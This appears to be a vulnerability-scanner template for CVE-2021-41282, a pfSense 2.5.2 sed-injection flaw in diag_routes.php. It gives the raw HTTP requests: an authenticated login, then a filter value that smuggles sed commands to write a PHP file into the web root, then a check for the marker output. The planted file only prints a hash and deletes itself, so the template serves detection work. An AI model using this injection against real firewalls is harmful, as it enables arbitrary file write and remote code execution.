id: CVE-2021-41282 info: name: pfSense Arbitrary File Write to RCE author: cckuailong severity: high description: diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (i.e., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location. reference: - https://www.shielder.it/advisories/pfsense-remote-command-execution/ - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/ - https://nvd.nist.gov/vuln/detail/CVE-2021-41282 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-41282 cwe-id: CWE-94 tags: cve,cve2021,pfsense,rce,authenticated requests: - raw: - | GET /index.php HTTP/1.1 Host: {{Hostname}} - | POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login= - | GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1 Host: {{Hostname}} - | GET /test.php HTTP/1.1 Host: {{Hostname}} cookie-reuse: true extractors: - type: regex name: csrf_token part: body internal: true group: 1 regex: - '(sid:[a-z0-9,;:]+)' matchers: - type: dsl dsl: - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')" - "status_code==200" condition: and
